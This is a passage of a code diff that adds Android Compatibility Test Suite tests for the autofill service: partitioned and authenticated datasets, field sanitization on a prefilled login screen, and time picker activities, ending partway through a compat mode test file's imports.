+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth22 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L2C2, "L2C2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth22)
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 2, "L2C2");
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L3C1, "l3c1")
+                        .setField(ID_L3C2, "l3c2")
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L3C1, "L3C1")
+                        .setField(ID_L3C2, "L3C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+
+        // Trigger partition.
+        focusCell(3, 2);
+        sReplier.getNextFillRequest();
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41);
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L4C1, "L4C1")
+                        .setField(ID_L4C2, "L4C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "L4C1")
+                .onCell(4, 2, "L4C2");
+
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        /*
+         *  Now move focus around to make sure the proper values are displayed each time.
+         */
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /*
+         *  Finally, autofill and check results.
+         */
+        focusCell(4, 1);
+        mUiBot.selectDataset("P4D2");
+        expectation4.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("P1D1");
+        expectation1.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("P3D1");
+        expectation3.assertAutoFilled();
+
+        focusCell(2, 2);
+        mUiBot.selectDataset("P2D2");
+        expectation2.assertAutoFilled();
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the first.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickFirst() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(true);
+    }
+
+    /**
+     * Tests scenario where each partition has more than one dataset - some authenticated and some
+     * not - but they overlap, i.e., some fields are present in more than one partition.
+     *
+     * <p>Whenever a new partition defines a field previously present in another partittion, that
+     * partition will "own" that field.
+     *
+     * <p>In the end, 4th partition will one all fields in 2 datasets; and this test cases picks
+     * the second.
+     */
+    @Test
+    public void testAutofillMultipleAuthDatasetsOverlapPickSecond() throws Exception {
+        autofillMultipleAuthDatasetsOverlapping(false);
+    }
+
+    private void autofillMultipleAuthDatasetsOverlapping(boolean pickFirst) throws Exception {
+        // Set service.
+        enableService();
+
+        /**
+         * 1st partition.
+         */
+        // Set expectations.
+        final IntentSender auth12 = AuthenticationActivity.createSender(getContext(), 12);
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "1l1c1")
+                        .setField(ID_L1C2, "1l1c2")
+                        .setPresentation(createPresentation("P1D1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth12)
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE)
+                        .setPresentation(createPresentation("P1D2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        // Trigger partition.
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        mUiBot.assertDatasets("P1D1", "P1D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+
+        /**
+         * 2nd partition.
+         */
+        // Set expectations.
+        final IntentSender auth21 = AuthenticationActivity.createSender(getContext(), 22,
+                new CannedDataset.Builder()
+                    .setField(ID_L1C1, "2l1c1") // from previous partition
+                    .setField(ID_L2C1, "2l2c1")
+                    .setField(ID_L2C2, "2l2c2")
+                    .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth21)
+                        .setPresentation(createPresentation("P2D1"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("P2D2"))
+                        .setField(ID_L2C2, "2L2C2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger partition.
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1"); // changed
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P1D1");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P2D1", "P2D2");
+
+        /**
+         * 3rd partition.
+         */
+        // Set expectations.
+        final IntentSender auth31 = AuthenticationActivity.createSender(getContext(), 31,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C2, "3l1c2") // from previous partition
+                        .setField(ID_L3C1, "3l3c1")
+                        .setField(ID_L3C2, "3l3c2")
+                        .build());
+        final IntentSender auth32 = AuthenticationActivity.createSender(getContext(), 32);
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth31)
+                        .setPresentation(createPresentation("P3D1"))
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth32)
+                        .setPresentation(createPresentation("P3D2"))
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response3);
+
+        // Trigger partition.
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P3D1"); // changed
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P2D1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P3D2"); // changed
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P3D1", "P3D2");
+
+        /**
+         * 4th partition.
+         */
+        // Set expectations.
+        final IntentSender auth41 = AuthenticationActivity.createSender(getContext(), 41,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4l1c1") // from previous partition
+                        .setField(ID_L1C2, "4l1c2") // from previous partition
+                        .setField(ID_L2C1, "4l2c1") // from previous partition
+                        .setField(ID_L2C2, "4l2c2") // from previous partition
+                        .setField(ID_L3C1, "4l3c1") // from previous partition
+                        .setField(ID_L3C2, "4l3c2") // from previous partition
+                        .setField(ID_L4C1, "4l4c1")
+                        .build());
+        final IntentSender auth42 = AuthenticationActivity.createSender(getContext(), 42,
+                new CannedDataset.Builder()
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L1C2, "4L1C2") // from previous partition
+                        .setField(ID_L2C1, "4L2C1") // from previous partition
+                        .setField(ID_L2C2, "4L2C2") // from previous partition
+                        .setField(ID_L3C1, "4L3C1") // from previous partition
+                        .setField(ID_L3C2, "4L3C2") // from previous partition
+                        .setField(ID_L1C1, "4L1C1") // from previous partition
+                        .setField(ID_L4C1, "4L4C1")
+                        .setField(ID_L4C2, "4L4C2")
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth41)
+                        .setPresentation(createPresentation("P4D1"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setAuthentication(auth42)
+                        .setPresentation(createPresentation("P4D2"))
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L2C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L3C2, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L1C1, UNUSED_AUTOFILL_VALUE) // from previous partition
+                        .setField(ID_L4C1, UNUSED_AUTOFILL_VALUE)
+                        .setField(ID_L4C2, UNUSED_AUTOFILL_VALUE)
+                        .build())
+                .build();
+        sReplier.addResponse(response4);
+
+        // Trigger partition.
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        // Asserts proper datasets are shown on each field defined so far.
+        focusCell(1, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(3, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("P4D1", "P4D2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("P4D2");
+
+        /*
+         * Finally, autofill and check results.
+         */
+        final FillExpectation expectation = mActivity.expectAutofill();
+        final String chosenOne;
+        if (pickFirst) {
+            expectation
+                .onCell(1, 1, "4l1c1")
+                .onCell(1, 2, "4l1c2")
+                .onCell(2, 1, "4l2c1")
+                .onCell(2, 2, "4l2c2")
+                .onCell(3, 1, "4l3c1")
+                .onCell(3, 2, "4l3c2")
+                .onCell(4, 1, "4l4c1");
+            chosenOne = "P4D1";
+        } else {
+            expectation
+                .onCell(1, 1, "4L1C1")
+                .onCell(1, 2, "4L1C2")
+                .onCell(2, 1, "4L2C1")
+                .onCell(2, 2, "4L2C2")
+                .onCell(3, 1, "4L3C1")
+                .onCell(3, 2, "4L3C2")
+                .onCell(4, 1, "4L4C1")
+                .onCell(4, 2, "4L4C2");
+            chosenOne = "P4D2";
+        }
+
+        focusCell(4, 1);
+        mUiBot.selectDataset(chosenOne);
+        expectation.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillAllResponsesAuthenticated() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final IntentSender auth1 = AuthenticationActivity.createSender(getContext(), 1,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 1"))
+                                .setField(ID_L1C1, "l1c1")
+                                .setField(ID_L1C2, "l1c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 1"))
+                .setAuthentication(auth1, ID_L1C1, ID_L1C2)
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+        focusCell(1, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 1");
+
+        // Prepare 2nd partition.
+        final IntentSender auth2 = AuthenticationActivity.createSender(getContext(), 2,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 2"))
+                                .setField(ID_L2C1, "l2c1")
+                                .setField(ID_L2C2, "l2c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 2"))
+                .setAuthentication(auth2, ID_L2C1, ID_L2C2)
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+        focusCell(2, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 2");
+
+        // Prepare 3rd partition.
+        final IntentSender auth3 = AuthenticationActivity.createSender(getContext(), 3,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 3"))
+                                .setField(ID_L3C1, "l3c1")
+                                .setField(ID_L3C2, "l3c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 3"))
+                .setAuthentication(auth3, ID_L3C1, ID_L3C2)
+                .build();
+        sReplier.addResponse(response3);
+        final FillExpectation expectation3 = mActivity.expectAutofill()
+                .onCell(3, 1, "l3c1")
+                .onCell(3, 2, "l3c2");
+        focusCell(3, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 3");
+
+        // Prepare 4th partition.
+        final IntentSender auth4 = AuthenticationActivity.createSender(getContext(), 4,
+                new CannedFillResponse.Builder()
+                        .addDataset(new CannedDataset.Builder()
+                                .setPresentation(createPresentation("Partition 4"))
+                                .setField(ID_L4C1, "l4c1")
+                                .setField(ID_L4C2, "l4c2")
+                                .build())
+                        .build());
+        final CannedFillResponse response4 = new CannedFillResponse.Builder()
+                .setPresentation(createPresentation("Auth 4"))
+                .setAuthentication(auth4, ID_L4C1, ID_L4C2)
+                .build();
+        sReplier.addResponse(response4);
+        final FillExpectation expectation4 = mActivity.expectAutofill()
+                .onCell(4, 1, "l4c1")
+                .onCell(4, 2, "l4c2");
+        focusCell(4, 1);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("Auth 4");
+
+        // Now play around the focus to make sure they still display the right values.
+
+        focusCell(1, 2);
+        mUiBot.assertDatasets("Auth 1");
+        focusCell(1, 1);
+        mUiBot.assertDatasets("Auth 1");
+
+        focusCell(3, 1);
+        mUiBot.assertDatasets("Auth 3");
+        focusCell(3, 2);
+        mUiBot.assertDatasets("Auth 3");
+
+        focusCell(2, 1);
+        mUiBot.assertDatasets("Auth 2");
+        focusCell(4, 2);
+        mUiBot.assertDatasets("Auth 4");
+
+        focusCell(2, 2);
+        mUiBot.assertDatasets("Auth 2");
+        focusCell(4, 1);
+        mUiBot.assertDatasets("Auth 4");
+
+        // Finally, autofill and check them.
+        focusCell(2, 1);
+        mUiBot.selectDataset("Auth 2");
+        mUiBot.selectDataset("Partition 2");
+        expectation2.assertAutoFilled();
+
+        focusCell(4, 1);
+        mUiBot.selectDataset("Auth 4");
+        mUiBot.selectDataset("Partition 4");
+        expectation4.assertAutoFilled();
+
+        focusCell(3, 1);
+        mUiBot.selectDataset("Auth 3");
+        mUiBot.selectDataset("Partition 3");
+        expectation3.assertAutoFilled();
+
+        focusCell(1, 1);
+        mUiBot.selectDataset("Auth 1");
+        mUiBot.selectDataset("Partition 1");
+        expectation1.assertAutoFilled();
+    }
+
+    @Test
+    public void testNoMorePartitionsAfterLimitReached() throws Exception {
+        final int maxBefore = getMaxPartitions();
+        try {
+            setMaxPartitions(1);
+            // Set service.
+            enableService();
+
+            // Prepare 1st partition.
+            final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                            .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response1);
+
+            // Trigger autofill.
+            focusCell(1, 1);
+            sReplier.getNextFillRequest();
+
+            // Make sure UI is shown, but don't tap it.
+            mUiBot.assertDatasets("l1c1");
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+
+            // Prepare 2nd partition.
+            final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response2);
+
+            // Trigger autofill on 2nd partition.
+            focusCell(2, 1);
+
+            // Make sure it was ignored.
+            mUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working.
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+            focusCell(1, 1);
+            mUiBot.assertDatasets("l1c1");
+
+            // Prepare 3rd partition.
+            final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(ID_L3C2, "l3c2", createPresentation("l3c2"))
+                            .build())
+                    .build();
+            sReplier.addResponse(response3);
+            // Trigger autofill on 3rd partition.
+            focusCell(3, 2);
+
+            // Make sure it was ignored.
+            mUiBot.assertNoDatasets();
+
+            // Make sure 1st partition is still working...
+            focusCell(1, 2);
+            mUiBot.assertDatasets("l1c2");
+            focusCell(1, 1);
+            mUiBot.assertDatasets("l1c1");
+
+            //...and can be autofilled.
+            final FillExpectation expectation = mActivity.expectAutofill()
+                    .onCell(1, 1, "l1c1");
+            mUiBot.selectDataset("l1c1");
+            expectation.assertAutoFilled();
+        } finally {
+            setMaxPartitions(maxBefore);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java
new file mode 100644
index 0000000..9c9ca79
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PreFilledLoginActivityTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.PreFilledLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.platform.test.annotations.AppModeFull;
+
+import org.junit.Test;
+
+/**
+ * Covers scenarios where the behavior is different because some fields were pre-filled.
+ */
+@AppModeFull(reason = "LoginActivityTest is enough")
+public class PreFilledLoginActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<PreFilledLoginActivity> {
+
+    private PreFilledLoginActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<PreFilledLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<PreFilledLoginActivity>(PreFilledLoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Change view contents.
+        mActivity.onUsernameLabel((v) -> v.setText("DA USER"));
+        mActivity.onPasswordLabel((v) -> v.setText(R.string.new_password_label));
+
+        // Trigger auto-fill.
+        mActivity.onUsername((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request:
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // ...dynamic text should be sanitized.
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME_LABEL);
+
+        // ...password label should be ok because it was set from other resource id
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+                "new_password_label");
+
+        // ...username and password should be ok because they were set in the SML
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_USERNAME),
+                "secret_agent");
+        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_PASSWORD), "T0p S3cr3t");
+
+        // Trigger save
+        mActivity.onUsername((v) -> v.setText("malkovich"));
+        mActivity.onPassword((v) -> v.setText("malkovich"));
+        mActivity.tapLogin();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextOnly(findNodeByResourceId(saveRequest.structure, ID_USERNAME_LABEL), "DA USER");
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "DA PASSWORD", false,
+                "new_password_label");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_USERNAME), "malkovich");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "malkovich");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java
new file mode 100644
index 0000000..f73fd3d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerClockActivityTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.TimePickerClockActivity;
+import android.autofillservice.cts.commontests.TimePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class TimePickerClockActivityTest extends TimePickerTestCase<TimePickerClockActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<TimePickerClockActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TimePickerClockActivity>(
+                TimePickerClockActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java
new file mode 100644
index 0000000..12818da
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/TimePickerSpinnerActivityTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.TimePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.TimePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class TimePickerSpinnerActivityTest extends TimePickerTestCase<TimePickerSpinnerActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<TimePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<TimePickerSpinnerActivity>(
+                TimePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
new file mode 100644
index 0000000..72b0e8f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.VirtualContainerActivity.INITIAL_URL_BAR_VALUE;
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR;
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR2;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
